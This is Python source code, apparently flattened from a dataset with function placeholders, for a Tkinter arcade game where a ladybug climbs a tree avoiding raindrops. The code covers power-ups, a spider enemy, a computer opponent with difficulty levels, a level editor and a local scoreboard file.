coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, 